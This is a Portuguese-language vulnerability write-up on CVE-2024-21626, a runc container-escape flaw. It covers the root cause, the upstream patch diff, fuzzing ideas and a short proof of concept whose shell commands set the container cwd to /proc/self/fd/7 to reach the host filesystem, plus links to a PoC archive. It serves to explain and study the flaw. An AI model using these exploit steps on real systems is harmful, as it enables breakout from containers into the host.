CVE-2024-21626

Causa raiz & Prova de Código

Como usar o poc-autoplay?

make install

make uninstall

1. Causa raiz

• Em versões do runc v1.1.11 e inferiores, ao abrir o diretório /sys/fs/cgroup do host para configurar cgroups, o descritor de arquivo correspondente não era fechado no processo de inicialização do contêiner, resultando nessa vulnerabilidade.

1. Durante a fase de inicialização do runc, obtém-se /proc/{PID}/fd/7 através do /sys/fs/cgroup do host.
2. O descritor de arquivo é mantido aberto e o contêiner PID 1 é fork/exec.
3. No spec do runc ou na opção runc exec —cwd, o diretório de trabalho (cwd) é definido como um caminho controlado pelo atacante, como /proc/self/fd/7/ obtido acima.
4. Após chdir, o cwd do PID 1 se move para fora do rootfs do contêiner.
5. Os processos dentro do contêiner podem acessar ou modificar o sistema de arquivos do host, resultando em um escape de contêiner.

--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
        "net"
        "os"
        +    "path/filepath"
        "runtime"
        "runtime/debug"
        "strconv"
        @@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
        return nil
        }

        +// verifyCwd ensures that the current working directory is still inside
        +// the container’s mount-namespace root. If getcwd(2) returns ENOENT,
         // it indicates the cwd is outside the container.
         // See CVE-2024-21626.
        +func verifyCwd() error {
        +   if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
        +       return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
        +   } else if err != nil {
        +       return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
        +   } else if !filepath.IsAbs(wd) {
            +       // Sanity check: cwd should always be absolute
                +       return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
                +   }
        +   return nil
            +}

            @@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
                if err := system.ClearKeepCaps(); err != nil {
                    return fmt.Errorf("unable to clear keep caps: %w", err)
                }
                +    // After chdir to config.Cwd, ensure it’s still inside the container
                    +    if err := verifyCwd(); err != nil {
                        +        return err
                            +    }
                return nil
            }

• Foi adicionada uma lógica para verificar o cwd imediatamente após o chdir.
• Em libcontainer/init_linux.go, a função verifyCwd() foi adicionada para verificar se o cwd ainda está dentro do contêiner após o chdir e determinar se um erro deve ser gerado.
• Foi adicionada uma lógica para fechar todos os descritores de arquivo vazados.
• Imediatamente antes do execve final, todos os descritores de arquivo internos são fechados, garantindo que os descritores do host não permaneçam no processo do contêiner.

2. Prova de Conceito

• Ambiente

    - wsl, vmware (Ubuntu 18 ~ 22)
    - kernel (6.6.87)
    - runc ( ≤ 1.1.11)
    - docker (28.1.1)
    - go (1.20.14)

• Exploração via próprio runc

    mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs

    docker pull alpine:latest
    docker export $(docker create alpine:latest) | tar x -C rootfs/

    runc spec
    sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

    sudo bash -c "exec 7</; runc run demo"

Iniciando a partir do caminho / local dentro do Docker.

• Ao criar o contêiner, o diretório de trabalho deve ser definido como um descritor de arquivo específico.

• O descritor de arquivo aberto do host e o descritor de arquivo dentro do contêiner são conectados, possibilitando o escape do Docker.

• Arquivo PoC -> https://drive.google.com/file/d/14ttL_Hzbg1GO8WFt3fIfdP7Ik0s1yOM3/view?usp=sharing

- make install, make uninstall

• PoC MP4 -> https://drive.google.com/file/d/1NQwCPwxi51l_RFr8KMACH0Cupe7w_AnE/view?usp=sharing

3. Como esta vulnerabilidade pode ser fuzzada?

• Método de realizar go-fuzz no binário vulnerável do runc.
• Pode ser feito fornecendo configurações OCI aleatórias como entrada para a parte de processamento chdir(config.Cwd) dentro da função vulnerável finalizeNamespace().
• Dessa forma, pode-se analisar as exceções ou partes de crash no cwd após chdir usando caminhos relativos.
• Método de realizar AFL++ no binário do runc vulnerável.
• É um método de fuzzing do JSON do spec OCI e dos argumentos da CLI do runc.
• Pode-se analisar os crashes que ocorrem no ponto chdir, mirando na parte cwd do JSON do spec OCI.